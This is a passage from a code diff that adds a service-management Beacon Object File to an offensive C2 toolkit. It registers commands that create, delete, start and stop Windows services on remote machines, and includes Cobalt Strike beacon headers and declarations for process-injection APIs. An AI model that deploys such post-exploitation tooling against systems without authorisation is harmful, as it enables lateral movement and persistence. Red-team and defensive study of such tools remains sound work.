svcname, dispname, binpath, svctype, starttype]); + ax.execute_alias(id, cmdline, + `execute bof ${bof_path} ${bof_params}`, + "Task: svc_create [" + svcname + "] on " + computer, null); +}); + +var cmd_svc_delete = ax.create_command( + "svc_delete", + "Remove a service (stops it first if running).", + "svc_delete -n MySvc | svc_delete -n MySvc -c 192.168.1.10"); +cmd_svc_delete.addArgFlagString("-n", "svcname", "Service name"); +cmd_svc_delete.addArgFlagString("-c", "computer", "Remote machine (skip = localhost)", "localhost"); +cmd_svc_delete.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + var svcname = parsed_json["svcname"] || ""; + var computer = parsed_json["computer"] || "localhost"; + if (!svcname) { ax.console_message(id, "missing -n ", "error"); return; } + var bof_path = ax.script_dir() + "_bin/svcmgr." + ax.arch(id) + ".o"; + var bof_params = ax.bof_pack("cstr,cstr,cstr", ["delete", computer, svcname]); + ax.execute_alias(id, cmdline, + `execute bof ${bof_path} ${bof_params}`, + "Task: svc_delete [" + svcname + "] on " + computer, null); +}); + +var cmd_svc_start = ax.create_command( + "svc_start", + "Start a service and wait for RUNNING confirmation.", + "svc_start -n Spooler | svc_start -n MySvc -c 192.168.1.10"); +cmd_svc_start.addArgFlagString("-n", "svcname", "Service name"); +cmd_svc_start.addArgFlagString("-c", "computer", "Remote machine (skip = localhost)", "localhost"); +cmd_svc_start.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + var svcname = parsed_json["svcname"] || ""; + var computer = parsed_json["computer"] || "localhost"; + if (!svcname) { ax.console_message(id, "missing -n ", "error"); return; } + var bof_path = ax.script_dir() + "_bin/svcmgr." + ax.arch(id) + ".o"; + var bof_params = ax.bof_pack("cstr,cstr,cstr", ["start", computer, svcname]); + ax.execute_alias(id, cmdline, + `execute bof ${bof_path} ${bof_params}`, + "Task: svc_start [" + svcname + "] on " + computer, null); +}); + +var cmd_svc_stop = ax.create_command( + "svc_stop", + "Stop a service and wait for STOPPED confirmation.", + "svc_stop -n Spooler | svc_stop -n MySvc -c 192.168.1.10"); +cmd_svc_stop.addArgFlagString("-n", "svcname", "Service name"); +cmd_svc_stop.addArgFlagString("-c", "computer", "Remote machine (skip = localhost)", "localhost"); +cmd_svc_stop.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + var svcname = parsed_json["svcname"] || ""; + var computer = parsed_json["computer"] || "localhost"; + if (!svcname) { ax.console_message(id, "missing -n ", "error"); return; } + var bof_path = ax.script_dir() + "_bin/svcmgr." + ax.arch(id) + ".o"; + var bof_params = ax.bof_pack("cstr,cstr,cstr", ["stop", computer, svcname]); + ax.execute_alias(id, cmdline, + `execute bof ${bof_path} ${bof_params}`, + "Task: svc_stop [" + svcname + "] on " + computer, null); +}); +// *********************** sc_bof end *********************** var cmd_arp = ax.create_command("arp", "List ARP table", "arp"); cmd_arp.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { @@ -167,5 +336,5 @@ cmd_whoami.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { ax.execute_alias(id, cmdline, `execute bof "${bof_path}"`, "BOF implementation: whoami /all"); }); -var group_test = ax.create_commands_group("SAL-BOF", [cmd_arp, cmd_cacls, cmd_dir, cmd_env, cmd_ipconfig, cmd_listdns, cmd_netstat, cmd_nslookup, cmd_privcheck, cmd_routeprint, cmd_uptime, cmd_useridletime, cmd_whoami]); +var group_test = ax.create_commands_group("SAL-BOF", [cmd_arp, cmd_cacls, cmd_dir, cmd_env, cmd_ipconfig, cmd_listdns, cmd_netstat, cmd_nslookup, cmd_privcheck, cmd_routeprint, cmd_uptime, cmd_useridletime, cmd_whoami, cmd_clipboard, cmd_svc_list, cmd_svc_query, cmd_svc_create, cmd_svc_delete, cmd_svc_start, cmd_svc_stop]); ax.register_commands_group(group_test, ["beacon", "gopher", "kharon"], ["windows"], []); diff --git a/SAL-BOF/sc_bof/Makefile b/SAL-BOF/sc_bof/Makefile new file mode 100644 index 0000000..c150c77 --- /dev/null +++ b/SAL-BOF/sc_bof/Makefile @@ -0,0 +1,17 @@ +CC64 = x86_64-w64-mingw32-gcc +CC86 = i686-w64-mingw32-gcc +STRIP64 = x86_64-w64-mingw32-strip --strip-unneeded +STRIP86 = i686-w64-mingw32-strip --strip-unneeded + +CFLAGS = -w -Wno-incompatible-pointer-types -Os -DBOF -masm=intel -I src + +all: bof + +bof: clean + @(mkdir _bin 2>/dev/null) && echo 'creating _bin directory' || echo '_bin directory exists' + + @($(CC64) $(CFLAGS) -c src/svcmgr_bof.c -o _bin/svcmgr.x64.o && $(STRIP64) _bin/svcmgr.x64.o) && echo '[+] svcmgr x64' || echo '[!] svcmgr x64 FAILED' + @($(CC86) $(CFLAGS) -c src/svcmgr_bof.c -o _bin/svcmgr.x86.o && $(STRIP86) _bin/svcmgr.x86.o) && echo '[+] svcmgr x86' || echo '[!] svcmgr x86 FAILED' + +clean: + @(rm -rf _bin) diff --git a/SAL-BOF/sc_bof/src/base.c b/SAL-BOF/sc_bof/src/base.c new file mode 100644 index 0000000..3e31d73 --- /dev/null +++ b/SAL-BOF/sc_bof/src/base.c @@ -0,0 +1,207 @@ +#include +#include "bofdefs.h" +#include "beacon.h" +#ifndef bufsize +#define bufsize 8192 +#endif + + +char * output __attribute__((section (".data"))) = 0; // this is just done so its we don't go into .bss which isn't handled properly +WORD currentoutsize __attribute__((section (".data"))) = 0; +HANDLE trash __attribute__((section (".data"))) = NULL; // Needed for x64 to not give relocation error + +#ifdef BOF +int bofstart(); +void internal_printf(const char* format, ...); +void printoutput(BOOL done); +#endif +char * Utf16ToUtf8(const wchar_t* input); + +int bofstart() +{ + output = (char*)MSVCRT$calloc(bufsize, 1); + currentoutsize = 0; + return 1; +} + +void internal_printf(const char* format, ...){ + int buffersize = 0; + int transfersize = 0; + char * curloc = NULL; + char* intBuffer = NULL; + va_list args; + va_start(args, format); + buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null + va_end(args); + + // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string) + if (buffersize == -1) + return; + + char* transferBuffer = (char*)intAlloc(bufsize); + intBuffer = (char*)intAlloc(buffersize); + /*Print string to memory buffer*/ + va_start(args, format); + MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string + va_end(args); + if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end + { + //BeaconFormatPrintf(&output, intBuffer); + MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize); + currentoutsize += buffersize; + } + else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print + { + curloc = intBuffer; + while(buffersize > 0) + { + transfersize = bufsize - currentoutsize; // what is the max we could transfer this request + if(buffersize < transfersize) //if I have less then that, lets just transfer what's left + { + transfersize = buffersize; + } + MSVCRT$memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer + currentoutsize += transfersize; + if(currentoutsize == bufsize) + { + printoutput(FALSE); // sets currentoutsize to 0 and prints + } + MSVCRT$memset(transferBuffer, 0, transfersize); // reset our transfer buffer + curloc += transfersize; // increment by how much data we just wrote + buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall + } + } + intFree(intBuffer); + intFree(transferBuffer); +} + +void printoutput(BOOL done) +{ + + char * msg = NULL; + BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize); + currentoutsize = 0; + MSVCRT$memset(output, 0, bufsize); + if(done) {MSVCRT$free(output); output=NULL;} +} + + +#ifdef DYNAMIC_LIB_COUNT + + +typedef struct loadedLibrary { + HMODULE hMod; // mod handle + const char * name; // name normalized to uppercase +}loadedLibrary, *ploadedLibrary; +loadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (".data"))) = {0}; +DWORD loadedLibrariesCount __attribute__((section (".data"))) = 0; + +BOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget) +{ + BOOL bmatch = FALSE; + DWORD pos = 0; + while(szLibrary[pos] && sztarget[pos]) + { + if(szLibrary[pos] != sztarget[pos]) + { + goto end; + } + pos++; + } + if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match + {goto end;} + bmatch = TRUE; + + end: + return bmatch; +} + +FARPROC DynamicLoad(const char * szLibrary, const char * szFunction) +{ + FARPROC fp = NULL; + HMODULE hMod = NULL; + DWORD i = 0; + DWORD liblen = 0; + for(i = 0; i < loadedLibrariesCount; i++) + { + if(intstrcmp(szLibrary, loadedLibraries[i].name)) + { + hMod = loadedLibraries[i].hMod; + } + } + if(!hMod) + { + hMod = LoadLibraryA(szLibrary); + if(!hMod){ + BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\nCould not find library to load.", szLibrary); + return NULL; + } + loadedLibraries[loadedLibrariesCount].hMod = hMod; + loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop + loadedLibrariesCount++; + } + fp = GetProcAddress(hMod, szFunction); + + if (NULL == fp) + { + BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\n", szFunction); + } + return fp; +} +#endif + + +char* Utf16ToUtf8(const wchar_t* input) +{ + int ret = KERNEL32$WideCharToMultiByte( + CP_UTF8, + 0, + input, + -1, + NULL, + 0, + NULL, + NULL + ); + + char* newString = (char*)intAlloc(sizeof(char) * ret); + + ret = KERNEL32$WideCharToMultiByte( + CP_UTF8, + 0, + input, + -1, + newString, + sizeof(char) * ret, + NULL, + NULL + ); + + if (0 == ret) + { + goto fail; + } + +retloc: + return newString; +/*location to free everything centrally*/ +fail: + if (newString){ + intFree(newString); + newString = NULL; + }; + goto retloc; +} + +//release any global functions here +void bofstop() +{ +#ifdef DYNAMIC_LIB_COUNT + DWORD i; + for(i = 0; i < loadedLibrariesCount; i++) + { + FreeLibrary(loadedLibraries[i].hMod); + } +#endif + return; +} diff --git a/SAL-BOF/sc_bof/src/beacon.h b/SAL-BOF/sc_bof/src/beacon.h new file mode 100644 index 0000000..aefcff1 --- /dev/null +++ b/SAL-BOF/sc_bof/src/beacon.h @@ -0,0 +1,64 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Cobalt Strike 4.1. + */ + +/* data API */ +#pragma once + +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_ERROR 0x0d +#define CALLBACK_OUTPUT_UTF8 0x20 + +DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...); +DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess (BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); diff --git a/SAL-BOF/sc_bof/src/bofdefs.h b/SAL-BOF/sc_bof/src/bofdefs.h new file mode 100644 index 0000000..12e7832 --- /dev/null +++ b/SAL-BOF/sc_bof/src/bofdefs.h @@ -0,0 +1,976 @@ +#pragma once +#pragma intrinsic(memcpy,strcpy,strcmp,strlen) +#define SECURITY_WIN32 +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) +#define intRealloc(ptr, size) (ptr) ? KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ptr, size) : KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) +#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr) +#define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size) + +#ifdef BOF +//KERNEL32 +WINBASEAPI void * WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +WINBASEAPI WINBOOL WINAPI KERNEL32$VirtualProtectEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +WINBASEAPI SIZE_T WINAPI KERNEL32$VirtualQueryEx (HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); +WINBASEAPI int WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); +WINBASEAPI int WINAPI KERNEL32$VirtualFreeEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); +WINBASEAPI HLOCAL WINAPI KERNEL32$LocalAlloc (UINT, SIZE_T); +WINBASEAPI HLOCAL WINAPI KERNEL32$LocalFree (HLOCAL); +WINBASEAPI HGLOBAL KERNEL32$GlobalAlloc(UINT uFlags, SIZE_T dwBytes); +WINBASEAPI HGLOBAL KERNEL32$GlobalFree(HGLOBAL hMem); +WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); +WINBASEAPI LPVOID WINAPI KERNEL32$HeapReAlloc (HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes); +WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); +WINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID); +WINBASEAPI DWORD WINAPI KERNEL32$FormatMessageA (DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list *Arguments); +WINBASEAPI int WINAPI KERNEL32$WideCharToMultiByte (UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar); +WINBASEAPI int WINAPI KERNEL32$MultiByteToWideChar (UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar); +WINBASEAPI int WINAPI KERNEL32$FileTimeToLocalFileTime (CONST FILETIME *lpFileTime, LPFILETIME lpLocalFileTime); +WINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime (CONST FILETIME *lpFileTime, LPSYSTEMTIME lpSystemTime); +WINBASEAPI int WINAPI KERNEL32$GetDateFormatW (LCID Locale, DWORD dwFlags, CONST SYSTEMTIME *lpDate, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate); +WINBASEAPI VOID WINAPI KERNEL32$GetSystemTimeAsFileTime (LPFILETIME lpSystemTimeAsFileTime); +WINBASEAPI VOID WINAPI KERNEL32$GetSystemInfo (LPSYSTEM_INFO lpSystemInfo); +WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID); +WINBASEAPI VOID WINAPI KERNEL32$SetLastError (DWORD dwErrCode); +WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject); +WINBASEAPI DWORD WINAPI KERNEL32$GetTickCount (VOID); +WINBASEAPI LPVOID WINAPI KERNEL32$CreateFiber (SIZE_T dwStackSize, LPFIBER_START_ROUTINE lpStartAddress, LPVOID lpParameter); +WINBASEAPI LPVOID WINAPI KERNEL32$ConvertThreadToFiber (LPVOID lpParameter); +WINBASEAPI WINBOOL WINAPI KERNEL32$ConvertFiberToThread (VOID); +WINBASEAPI VOID WINAPI KERNEL32$DeleteFiber (LPVOID lpFiber); +WINBASEAPI VOID WINAPI KERNEL32$SwitchToFiber (LPVOID lpFiber); +WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds); +WINBASEAPI VOID WINAPI KERNEL32$Sleep (DWORD dwMilliseconds); +WINBASEAPI WINBOOL WINAPI KERNEL32$CreateProcessW (LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, WINBOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); +WINBASEAPI WINBOOL WINAPI KERNEL32$CreateProcessA (LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, WINBOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); +WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId); +WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess (VOID); +WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread (VOID); +WINBASEAPI WINBOOL WINAPI KERNEL32$GetExitCodeProcess (HANDLE hProcess, LPDWORD lpExitCode); +WINBASEAPI WINBOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); +WINBASEAPI WINBOOL WINAPI KERNEL32$ReadProcessMemory (HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); +WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentProcessId (VOID); +WINBASEAPI DWORD WINAPI KERNEL32$GetProcessIdOfThread (HANDLE Thread); +WINBASEAPI WINBOOL WINAPI KERNEL32$ProcessIdToSessionId (DWORD dwProcessId, DWORD *pSessionId); +WINBASEAPI WINBOOL WINAPI KERNEL32$InitializeProcThreadAttributeList (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwAttributeCount, DWORD dwFlags, PSIZE_T lpSize); +WINBASEAPI WINBOOL WINAPI KERNEL32$UpdateProcThreadAttribute (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwFlags, DWORD_PTR Attribute, PVOID lpValue, SIZE_T cbSize, PVOID lpPreviousValue, PSIZE_T lpReturnSize); +WINBASEAPI VOID WINAPI KERNEL32$DeleteProcThreadAttributeList (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateRemoteThread (HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); +WINBASEAPI HANDLE WINAPI KERNEL32$OpenThread (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwThreadId); +WINBASEAPI WINBOOL WINAPI KERNEL32$GetThreadContext (HANDLE hThread, LPCONTEXT lpContext); +WINBASEAPI WINBOOL WINAPI KERNEL32$SetThreadContext (HANDLE hThread, CONST LPCONTEXT lpContext); +WINBASEAPI DWORD WINAPI KERNEL32$SuspendThread (HANDLE hThread); +WINBASEAPI DWORD WINAPI KERNEL32$ResumeThread (HANDLE hThread); +WINBASEAPI WINBOOL WINAPI KERNEL32$GetComputerNameExW (COMPUTER_NAME_FORMAT NameType, LPWSTR lpBuffer, LPDWORD nSize); +WINBASEAPI WINBOOL WINAPI KERNEL32$GetComputerNameA (LPSTR lpBuffer, LPDWORD nSize); +WINBASEAPI int WINAPI KERNEL32$lstrcmpA (LPCSTR lpString1, LPCSTR lpString2); +WINBASEAPI int WINAPI KERNEL32$lstrcmpW (LPCWSTR lpString1, LPCWSTR lpString2); +WINBASEAPI int WINAPI KERNEL32$lstrcmpiW (LPCWSTR lpString1, LPCWSTR lpString2); +WINBASEAPI int WINAPI KERNEL32$lstrlenA (LPCSTR lpString); +WINBASEAPI int WINAPI KERNEL32$lstrlenW (LPCWSTR lpString); +WINBASEAPI LPWSTR WINAPI KERNEL32$lstrcatW (LPWSTR lpString1, LPCWSTR lpString2); +WINBASEAPI LPWSTR WINAPI KERNEL32$lstrcpynW (LPWSTR lpString1, LPCWSTR lpString2, int iMaxLength); +WINBASEAPI DWORD WINAPI KERNEL32$GetFullPathNameW (LPCWSTR lpFileName, DWORD nBufferLength, LPWSTR lpBuffer, LPWSTR *lpFilePart); +WINBASEAPI DWORD WINAPI KERNEL32$GetFileAttributesW (LPCWSTR lpFileName); +WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentDirectoryW (DWORD nBufferLength, LPWSTR lpBuffer); +WINBASEAPI HANDLE WINAPI KERNEL32$FindFirstFileW (LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData); +WINBASEAPI WINBOOL WINAPI KERNEL32$FindNextFileW (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData); +WINBASEAPI WINBOOL WINAPI KERNEL32$FindClose (HANDLE hFindFile); +WINBASEAPI DWORD WINAPI KERNEL32$ExpandEnvironmentStringsW (LPCWSTR lpSrc, LPWSTR lpDst, DWORD nSize); +WINBASEAPI DWORD WINAPI KERNEL32$ExpandEnvironmentStringsA (LPCSTR lpSrc, LPSTR lpDst, DWORD nSize); +WINBASEAPI DWORD WINAPI KERNEL32$GetTempPathW (DWORD nBufferLength, LPWSTR lpBuffer); +WINBASEAPI DWORD WINAPI KERNEL32$GetTempFileNameW (LPCWSTR lpPathName, LPCWSTR lpPrefixString, UINT uUnique, LPWSTR lpTempFileName); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA (LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); +WINBASEAPI DWORD WINAPI KERNEL32$GetFileSize (HANDLE hFile, LPDWORD lpFileSizeHigh); +WINBASEAPI WINBOOL WINAPI KERNEL32$ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); +WINBASEAPI WINBOOL WINAPI KERNEL32$WriteFile (HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); +WINBASEAPI WINBOOL WINAPI KERNEL32$DeleteFileW (LPCWSTR lpFileName); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileMappingA (HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName); +WINBASEAPI LPVOID WINAPI KERNEL32$MapViewOfFile (HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap); +WINBASEAPI WINBOOL WINAPI KERNEL32$UnmapViewOfFile (LPCVOID lpBaseAddress); +WINBASEAPI LPTCH WINAPI KERNEL32$GetEnvironmentStrings(); +WINBASEAPI BOOL WINAPI KERNEL32$FreeEnvironmentStringsA(LPSTR); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID); +WINBASEAPI WINBOOL WINAPI KERNEL32$Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe); +WINBASEAPI WINBOOL WINAPI KERNEL32$Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe); +WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR lpLibFileName); +WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE hModule, LPCSTR lpProcName); +WINBASEAPI WINBOOL WINAPI KERNEL32$FreeLibrary (HMODULE hLibModule); +WINBASEAPI WINBOOL WINAPI KERNEL32$SetEvent (HANDLE hEvent); +WINBASEAPI WINBOOL WINAPI KERNEL32$TerminateThread (HANDLE hThread, DWORD dwExitCode); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateEventA (LPSECURITY_ATTRIBUTES lpEventAttributes, WINBOOL bManualReset, WINBOOL bInitialState, LPCSTR lpName); +WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleW(LPCWSTR lpModuleName); + + +//IPHLPAPI +//ULONG WINAPI IPHLPAPI$GetAdaptersInfo (PIP_ADAPTER_INFO AdapterInfo, PULONG SizePointer); +WINBASEAPI DWORD WINAPI IPHLPAPI$GetAdaptersInfo(PIP_ADAPTER_INFO,PULONG); +WINBASEAPI DWORD WINAPI IPHLPAPI$GetIpForwardTable (PMIB_IPFORWARDTABLE pIpForwardTable, PULONG pdwSize, WINBOOL bOrder); +WINBASEAPI DWORD WINAPI IPHLPAPI$GetNetworkParams(PFIXED_INFO,PULONG); +WINBASEAPI ULONG WINAPI IPHLPAPI$GetUdpTable (PMIB_UDPTABLE UdpTable, PULONG SizePointer, WINBOOL Order); +WINBASEAPI ULONG WINAPI IPHLPAPI$GetTcpTable (PMIB_TCPTABLE TcpTable, PULONG SizePointer, WINBOOL Order); + +//MSVCRT +WINBASEAPI char * __cdecl MSVCRT$strcat(char * __restrict__ _Dest,const char * __restrict__ _Source); +WINBASEAPI int __cdecl MSVCRT$_snprintf(char * __restrict__ _Dest,size_t _Count,const char * __restrict__ _Format,...); +WINBASEAPI int __cdecl MSVCRT$sscanf(const char * __restrict__ _Src,const char * __restrict__ _Format,...); +WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements); +WINBASEAPI void *__cdecl MSVCRT$realloc(void *_Memory, size_t _NewSize); +WINBASEAPI void __cdecl MSVCRT$free(void *_Memory); +WINBASEAPI int __cdecl MSVCRT$memcmp(const void *_Buf1,const void *_Buf2,size_t _Size); +WINBASEAPI void *__cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount); +WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); +WINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...); +WINBASEAPI int __cdecl MSVCRT$vsnprintf(char * __restrict__ d,size_t n,const char * __restrict__ format,va_list arg); +WINBASEAPI int __cdecl MSVCRT$_stricmp(const char *_Str1,const char *_Str2); +WINBASEAPI PCHAR __cdecl MSVCRT$strchr(const char *haystack, int needle); +WINBASEAPI int __cdecl MSVCRT$strcmp(const char *_Str1,const char *_Str2); +WINBASEAPI char * __cdecl MSVCRT$strcpy(char * __restrict__ __dst, const char * __restrict__ __src); +WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str); +WINBASEAPI int __cdecl MSVCRT$wcsncmp(const wchar_t *_Str1,const wchar_t *_Str2, size_t count); +WINBASEAPI int __cdecl MSVCRT$strncmp(const char *_Str1,const char *_Str2,size_t _MaxCount); 